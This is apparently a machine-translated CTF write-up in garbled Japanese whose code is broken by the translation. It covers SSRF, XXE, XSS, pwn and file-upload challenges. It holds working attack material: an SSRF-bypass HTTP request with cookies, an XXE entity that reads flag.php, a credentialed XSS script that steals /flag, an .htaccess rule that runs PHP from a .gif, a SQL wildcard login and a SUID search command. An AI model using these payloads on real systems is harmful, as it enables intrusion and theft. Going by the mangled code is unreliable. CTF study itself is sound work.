filename=secure_filename(file.filename)

files={'file':(filename、file.stream、file.content_type)}

php_service_url='http://127.0.0.1/upload.php'

response=requests.post(php_service_url、files=files)

response.status_code==200:の場合

flash(respons.text、 'success')

else:

flash(「ファイルをPHPサービスにアップロードできなかった」、「危険」)

return render_template( 'upload.html'、form=form)

@app.route( '/view_uploads'、method=['get'、 'post']))

def View_uploads():

token=request.cookies.get( 'token')

form=gameform()

token:ではない場合

error_message='最初にログインしてください'

return render_template( 'view_uploads.html'、form=form、error_message=error_message)

ペイロード=decode_jwt(token)

Payload:ではない場合

error_message='無効または期限切れのトークン。もう一度ログインしてください。」

return render_template( 'view_uploads.html'、form=form、error_message=error_message)

ペイロードではない場合['username']=='admin':

error_message='このページにアクセスする許可がありません。ユーザーのユーザー名は管理者ではありません」

return render_template( 'view_uploads.html'、form=form、error_message=error_message)

user_input=none

form.validate_on_submit():の場合

filepath=form.user_input.data

pathurl=request.form.get( 'path')

if( 'www.testctf.com' 'not in patturl)または(' 127.0.0.1 'in pathurl)または('/var/www/html/uploads/'filepath)または('。 '' in filepath):

error_message='www.testctf.comは、パスおよび/var/www/html/uploads/berse in filepathで必要です。

return render_template( 'view_uploads.html'、form=form、error_message=error_message)

params={'s': filepath}

try:

response=requests.get( 'http://'+pathurl、params=params、timeout=1)

return render_template( 'view_uploads.html'、form=form、user_input=respons.text)

:を除く

error_message='500!サーバーエラー '

return render_template( 'view_uploads.html'、form=form、error_message=error_message)

return render_template( 'view_uploads.html'、form=form、user_input=user_input)ポート80にPHPサービスがあり、 /uploadルートはUPLAODSディレクトリにファイルをアップロードできます。 view_uploadsルートの下でそれらを表示できますが、WAFがあります

if( 'www.testctf.com' 'not in baturl)または(' 127.0.0.1 'in pathurl)または('/var/www/html/uploads/'filepath)または('。 ''。 ''。 ')その後、127.0.0.1の代わりに0.0.0を使用でき、SSRFのジャンプを使用してドメイン名制限をバイパスできます

POST /VIEW_UPLOADS HTTP /1.1

HOST: 0192D68DFB217833B65D0ADEEC06784B.ZEUO.DG01.CIIHW.CN:45732

user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv3360131.0)gecko/20100101 firefox/131.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/PNG、Image/SVG+XML、*/*; Q=0.8

Accept-Language: ZH-CN、ZH; Q=0.8、ZH-TW; Q=0.7、ZH-HK; Q=0.5、EN-US; Q=0.3、EN; Q=0.2

Accept-Encoding: gzip、deflate

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 211

Origin: http://0192D68DFB217833B65D0ADEEC06784B.ZEUO.DG01.CIIHW.CN:45732

Connection:閉じます

参考文献: http://0192D68DFB217833B65D0ADEEC06784B.ZEUO.DG01.CIIHW.CN:45732/VIEW_UPLOADS

Cookie3360セッション=eyjjc3jmx3rva2vuijoiymqyntjlzdzlzzlytq5zmjmowqyzjjjmmq0ytblnjc1yz jhyzlmnmu5myisinjvbguioijhzg1pbij9.zybmxg.elz3z69hygp6lg3vjimnsktlcno; token=eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyj1c2vybmftzsi6imfkbwluin0.dnqifndfowgggggnuk95sqa5gdu_d6tdv95ltu97wup8ekqx6zr NVVSNP8XKVVFSX0G3XVQBO5XHDXJNPM8LIIWX_KQ8FO8T0Q0Q0QBN1RJ5O2BGKGOZSSUWAURKG7ME6L4-XFIXI7P328F1T4EN_KSP91SES7-9LCN7JABBRUH1

アップグレード-Insecure-Requests: 1

priority: u=0、i

csrf_token=imjkmjuyzwq2zwe0owzizjlkmmyyzjkngewzty3nwmyywm5zjzlotmi.zybmag.rcaslc0xu8ep682ndtsz5peqsqpa th=www.testctf.com@0.0.0.0.0.0.0.0.0.0.0.Input=/var/www/html/uploads/60edfb32093e262bfccda5496e1cdaa8submit=submit次に、最初にファイルをアップロードしてから読み取ることができます。 XMLファイルの読み込みに失敗したことが報告されていることがわかった場合、XMLを解析してXXEを直接ヒットすると推測しますが、システムなどの多くのキーワードをフィルタリングするため、UTF-16エンコードを使用してFlag.phpファイルを直接読み取ります

?xmlバージョン='1.0'?

!doctype交換[!エンティティの例システム 'php: //filter/convert.base64-encode/resource=/var/www/html/flag.php']

userinfo

FirstNameJohn/FirstName

lastnameexample;/lastName

/userinfoiconv -f utf8 -t utf16 1.xml3.xml

次に、3.xmlをアップロードし、それを読んでフラグを取得します

img

web2

コンテナのログインインターフェイスを開き、アカウントパスワードを自由に入力して、脆弱性インターフェイスを入力します。

これは、XSSの一目で上司に送信する機能です

その後、アクセス /フラグがあり、上司はそれにアクセスする必要があります。ここでは、XSSを送信してから、最初にボスにアクセス /フラグを実行してから、データをコンテンツに持ち込むことができます。

ScriptVar XMLHTTP=new XMLHTTPREQUEST();

xmlhttp.withcredentials=true;

xmlhttp.onreadystatechange=function(){

if(xmlhttp.readystate==4 xmlhttp.status==200){

var flagdata=xmlhttp.responsetext;

var flag1=btoa(flagdata);

var Remoteserverurl='/content/4a95828e3f0037bfe446ae0e693912df';

var xmlhttp2=new xmlhttprequest();

xmlhttp2.open( 'post'、remoteserverurl、true);

xmlhttp2.setRequestheader( 'content-type'、 'application/x-www-form-urlencoded');

xmlhttp2.send( 'content=' + encodeuricomponent(flag1))

}

};

xmlhttp.open( 'get'、 '/flag'、true);

xmlhttp.send();/script img

タスクを更新した後、ボスに送信します

img

その後、ページに戻って、フラグが送信されていることを確認します

img

pwn

pwn2

Image

ログイン関数から始めて、ユーザー名とパスワードを取得している限り入力できます。

Image

Vuln関数には2バイトのオーバーフローがあり、BUFのアドレスが漏れています。

Image

また、バックドア関数と /bin /sh stringも与えてくれました

Image

Image

完全な経験

PWNインポートから *

elf=elf( './short')

コンテキスト(arch=elf.arch、os=elf.os)

context.log_level='debug'

#libc=elf( './libc.so.6')

フラグ=0

url='0192d6093a297e5e9de02a5fc5bb4757.tdfi.dg01.ciihw.cn'

po

web

sqlup

質問を開き、推測名でSQLを挿入するためのログインページを提供しました

1049983-20241008092218396-758395906.png

ソースコードを確認し、開発者にパターンマッチングを使用するように促すヒントがあることを見つけます

1049983-20241008092219390-32340352.jpg

だから私は%をファジーマッチに使用しようとしました、ログインは成功しました

username=adminpassword=%パネルを入力した後、ファイルアップロード機能があることがわかりました

1049983-20241008092220160-1690588852.png

PHPファイルをアップロードしてみてくださいが、結果はWAFであり、ファイル名はpが表示されない

1049983-20241008092220948-1070441433.jpg

.htaccessファイルを使用してgifファイルを解析することを考えました。

.htaccessファイルを最初にアップロードし、1.gifをphpとして解析します

filesmatch '1.gif'

Sethandler Application/X-HTTPD-PHP

/filesmatch

1049983-20241008092221713-43094018.jpg

次に、1.GIFファイルをアップロードします

1049983-20241008092222494-1621144674.jpg

次に、/1.gifにアクセスしてください。ただし、フラグを読む許可をエスカレートする必要があります

パワーをエスカレートする注文を探しています

find/-perm -u=s -Type f 2/dev/null discovery TACコマンドを使用できます

1049983-20241008092223231-742831687.jpg

Candyshop

ソースコードは次のとおりです

Import DateTime

フラスコのインポートフラスコ、render_template、render_template_string、request、redirect、url_for、session、make_responseから

WTFORMSからImport Stringfield、PasswordField、Submitfieldから

wtforms.validatorsからImport datarequired、lengthから

flask_wtfからインポートフラスコフォームから

Reをインポートします

app=flask(__name__)

app.config ['Secret_key']='